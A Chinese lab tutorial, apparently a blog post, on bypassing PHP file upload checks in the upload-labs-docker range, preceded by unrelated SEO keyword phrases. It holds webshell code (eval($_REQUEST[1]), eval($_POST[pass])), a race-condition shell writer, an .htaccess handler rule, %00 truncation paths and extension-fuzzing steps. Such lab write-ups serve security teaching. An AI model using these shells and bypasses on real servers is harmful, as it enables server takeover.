vps服务器怎么创建多个网站,wordpress怎么看html,济南建网站市场,网站建立项目步骤047-WEB攻防-PHP应用文件上传函数缺陷条件竞争二次渲染黑白名单JS绕过 #知识点#xff1a; 1、PHP-原生态-文件上传-检测后缀黑白名单 2、PHP-原生态-文件上传-检测信息类型内容 3、PHP-原生态-文件上传-函数缺陷逻辑缺陷 4、PH…047-WEB攻防-PHP应用文件上传函数缺陷条件竞争二次渲染黑白名单JS绕过 #知识点 1、PHP-原生态-文件上传-检测后缀黑白名单 2、PHP-原生态-文件上传-检测信息类型内容 3、PHP-原生态-文件上传-函数缺陷逻辑缺陷 4、PHP-原生态-文件上传-版本缺陷配置缺陷 演示案例 ➢PHP-原生态-文件上传-前后端验证 ➢PHP-原生态-文件上传-类型文件头验证 ➢PHP-原生态-文件上传-后缀黑白名单验证 ➢PHP-原生态-文件上传-解析配置二次渲染 ➢PHP-原生态-文件上传-逻辑缺陷函数缺陷 #学习前必读
1、课前一定要明白 无文件解析安全问题上格式解析是一对一的不能jpg解析php 换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题对于如何确保这类安全问题一般会从原生态功能中的文件内容文件后缀文件类型等方面判断但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题也会在语言版本语言函数中间件引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑不同的文件存储方案也会给攻击者带来不一样的挑战
#测试环境安装参考
https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker
0、下载上述资源
1、docker安装
f8x -d 或 f8x -docker
2、进入项目文件夹
cd upload-labs-docker 3、一键部署如果发现连接不上靶场再此输入此代码重新部署即可
docker-compose up -d 4、查看是否成功部署-发现成功开启靶场端口配置成功
docker-compose config 命令用于验证和查看 Docker Compose 根据你的 docker-compose.yml 文件和任何环境变量生成的最终配置。该命令有助于检查 Compose 文件的有效性并查看在运行 docker-compose up 时将应用的配置。
以下是 docker-compose config 命令的解释 命令: docker-compose config 用途: 验证: 它验证 docker-compose.yml 文件的语法和结构。配置预览: 它显示 Docker Compose 将根据指定的 Compose 文件和任何环境变量使用的最终配置。 用法: 导航到包含你的 docker-compose.yml 文件的目录。运行 docker-compose config 命令。 输出: 如果 docker-compose.yml 文件有效则该命令将在控制台上显示生成的配置。 示例: cd /path/to/your/docker-compose/project
docker-compose config 常见用例: 确保 Compose 文件编写正确且符合预期的语法。查看最终配置包括任何变量替换或特定于环境的调整。
通过运行 docker-compose config你可以捕获语法错误并在实际使用 docker-compose up 部署服务之前获得对将使用的配置的概述。 #upload-labs-docker知识点 打开burp进行抓包并访问靶场网址http://192.168.200.130:30001/ 打开哥斯拉生成木马文件 1、前端JS 如何判断是否是前端验证呢 首先抓包监听如果上传文件的时候还没有抓取到数据包但是浏览器就提示文件类型不正确的话那么这个多半就是前端校验了 代码判断打开页面查看源码发现在前端有对应过滤代码 解决方式 首先将木马文件的后缀修改为jpg可以通过过滤的文件后缀通过burp抓取到数据包修改回对应的木马文件解析后缀木马程序成功上传即可通过哥斯拉获取权限 获取上传的对应木马文件的地址URL192.168.200.130:30001/upload/1.php 使用哥斯拉连接进入后门拿取权限 2、.htaccess配置 Apache Web 服务器行为的配置文件 AddType application/x-httpd-php .png
这行代码的含义是将文件扩展名为 .png 的文件的 MIME 类型设置为 application/x-httpd-php。 将木马后缀修改上传对应设置的文件后缀 .png后上传 通过burp进行抓包并将文件后缀修改为**.htaccess**,并将代码内容修改为AddType application/x-httpd-php .png 注意直接访问对应上传1.png的路径http://192.168.200.130:30002/upload/1.png)访问http://192.168.200.130:30002/upload/.htaccess 这个是解析木马文件的规则直接访问会报错403 需要注意无文件解析安全问题上格式解析是一对一的 例如规定的解析规则是AddType application/x-httpd-php .png 但是如果上传的文件为jpg等则木马文件不会被解析。 3、MIME类型-修改文件类型抓包修改回文件类型
Content-Typeimage/png 将木马后缀修改为可以通过文件过滤的后缀png并上传通过burp进行抓包并将木马文件后缀名修改回来成功上传并获取到文件上传路径URLhttp://192.168.200.130:30003/upload/1.php通过哥斯拉通过后门获取权限 4、文件头判断
GIF89a 首先将木马文件代码前加入文件头GIF89agif所有文件默认的文件头将任意的gif文件上传获取文件格式Content-Type: image/gif将木马文件进行上传并将文件格式修改为获取的gif文件格式然后上传成功上传并获取到文件上传路径URL192.168.200.130:30004/upload/shell.php通过哥斯拉通过后门获取权限 5、黑名单-过滤不严 无递归pphphp
即黑名单中的词 “php” 被替换为空字符串但留下了 “pphphp”。这是因为 str_ireplace() 函数会对字符串进行不区分大小写的替换。 正常上传木马程序shell.php,发现有黑名单过滤关键词“php”抓包将文件后缀修改为.pphphp即可成功上传获取上传地址URLhttp://192.168.200.130:30005/upload/shell.php通过哥斯拉连接后门获取权限 6、黑名单-过滤不严
系统大小写敏感属性 window大小写过滤不敏感 linux大小写过滤敏感 直接使用木马文件shell.php上传后缀会被替换为空 将后缀名修改为.phP则可以绕过过滤
7、低版本GET-%00截断
URL路径出现在POST的URL中自动解码一次 /var/www/html/upload/x.php%00
原理将木马文件以.jpg格式上传可以获得到一个对应.jpg文件img src./upload/9720240216044425.jpg通过修改POST中URL路径使用%00截取也就是说只有前面x.php被拼接到名称中后面都被舍弃在文件解析时候依照被拼接的x.php进行文件解析木马文件被成功解析 随便上传文件抓包并发送至Repeater并发送查看回显数据PHP版本为5.2.17将木马文件修改为**.jpg**,并上传抓包将POST中URL路径路径加上**/var/www/html/upload/a.php%00**访问对应的URL文件上传地址http://192.168.200.130:30007/upload/a.php通过哥斯拉连接后门获取权限 8、低版本POST-%00截断
手工解码一次 …/upload/x.php%00 二次解码
**URL路径出现在POST下面的数据包中需要手动解码** 上传木马文件修改为.jpg格式抓包发现URL路径出现在POST下面的数据包中将./upload/后面加上**x.php%00并选中该行右键选择Convert selection → URL →URL-decode**将所选内容转换为 URL →→URL 解码进行手动转码访问对应的URL文件上传地址http://192.168.200.130:30008/upload/x.php通过哥斯拉连接后门获取权限 9、黑名单-过滤不严
php3
原理源码通过黑名单中的关键词后缀进行过滤但是由于无法考虑全面而造成可以通过其他后缀名称进行绕过使用字典替换抓包的文件后缀通过判断长度变化是否成功上传对应的木马文件 上传木马文件shell.php,通过抓包发送至Intruder 选择Clear$ 清除所有选中选择 ∗ ∗ 木马文件后缀 p h p 并按下 A d d 清除所有选中选择**木马文件后缀php并按下Add 清除所有选中选择∗∗木马文件后缀php并按下Add替换该后缀** 选择Payloads,Payload Options→Load导入对应php后缀替换字典G:\develop\safety\字典\fuzzdb-master\attack\file-upload\alt-extensions-php.txt 选择右上角Start attack发现Length的长度不同1573的是没有替换成功的1625是替换成功的不是绝对的还需要通过哥斯拉验证后妈是否可以连接才能确定 访问对应的URL文件上传地址http://192.168.200.130:30009/upload/shell.php5 通过哥斯拉连接后门获取权限 10、逻辑不严-条件竞争 ?php fputs(fopen(xiao.php,w),?php eval($_REQUEST[1]);?);? fopen(xiao.php,w) 打开或创建一个名为 xiao.php’ 的文件以写入模式 ‘w’。fputs: 将后面的内容写入打开的文件。在这里它将一段 PHP 代码写入 ‘xiao.php’ 文件中。写入的 PHP 代码。这段代码包含一个 函数它会执行作为参数传递的 PHP 代码。参数通过 获取这意味着它会从 HTTP 请求的参数中获取第一个参数然后执行其中的 PHP 代码。?php eval($_REQUEST[1]);?eval$_REQUEST[1] 上传不断发包 请求不断发包 创建新的木马文件其中代码为?php fputs(fopen(xiao.php,w),?php eval($_REQUEST[1]);?);? 首先刷新想要获取的木马文件路径**请求页面http://192.168.200.130:30010/upload/x.php**。通过抓包抓取到请求页面并将此数据包发送至Intruder 选中Payloads→Payloads Sets→Payload type:Null payloads负载类型空负载 Payload Options →Continue indefinitely无限继续 将设置好的木马文件上传抓包并发送至Intruder记得删除clear $**上传发包**同样设置无限发包 访问对应的URL文件上传地址http://192.168.200.130:30010/upload/xiao.php 通过哥斯拉**注意由于木马文件中的密码有变化变为1?php eval($_REQUEST[1]);? 所以在测试后门连接的时候需要注意将代码对应修改为1**连接后门获取权限 11、二次渲染 先搞个正常图片1.gif上传导出渲染后的图片将两张图片拉进010编辑器打开工具→比较文件对比保留匹配部分在保留部分添加后门代码?php eval($_POST[pass]);?最后利用提示的文件包含执行图片后门代码 http://192.168.200.130:30011/?fileupload/1919801737.gifpassphpinfo(); 12、函数缺陷
move_uploaded_file 1.php/. move_uploaded_file是一个用于将上传文件移动到指定位置的 PHP 函数。它的语法如下
move_uploaded_file(string $filename, string $destination): bool其中$filename是上传文件的临时路径$destination是目标位置的路径和文件名。
这个函数的作用是将上传的文件从临时目录移动到指定的位置。它通常用于处理文件上传功能确保上传的文件能够被正确保存到服务器上的指定位置。 将自定义的保存文件名称写为1.php/.将木马文件后缀修改为jpg并上传上传成功获取对应的URL192.168.200.130:30012/upload/1.php/通过哥斯拉连接后门获取权限 13、代码审计-数组绕过
-----------------------------174283082921961 Content-Disposition: form-data; name“save_name[0]”
http://2.php/ -----------------------------174283082921961 Content-Disposition: form-data; name“save_name[2]”
gif
#删除Docker镜像和容器
如何优雅地删除Docker镜像和容器超详细_docker 删除镜像-CSDN博客 docker images docker ps docker rmi -f image_id docker rm -f container_id 在对应目录下输入docker-compose down停止和删除使用 Docker Compose 启动的容器 docker images 用于列出本地系统上的 Docker 镜像。示例输出显示了已下载的镜像包括镜像的名称、标签、镜像 ID、创建时间、大小等信息。 docker imagesdocker ps 用于列出正在运行的 Docker 容器。示例输出包括容器的 ID、名称、镜像、端口映射等信息。如果要列出所有容器包括已停止的容器可以使用 docker ps -a。 docker psdocker rmi -f image_id 用于删除本地的 Docker 镜像。f 或 -force 选项表示强制删除即使镜像正在被使用也会被删除。将 image_id 替换为要删除的镜像的实际 ID。仅仅输入ID前三个字符即可 docker rmi -f image_iddocker rm -f container_id 用于删除本地的 Docker 容器。f 或 -force 选项表示强制删除即使容器正在运行也会被删除。将 container_id 替换为要删除的容器的实际 ID。仅仅输入ID前三个字符即可 docker rm -f container_id请注意强制删除容器或镜像可能会导致数据丢失并且在正常情况下最好先停止容器再删除。确保在执行这些命令之前了解其潜在影响。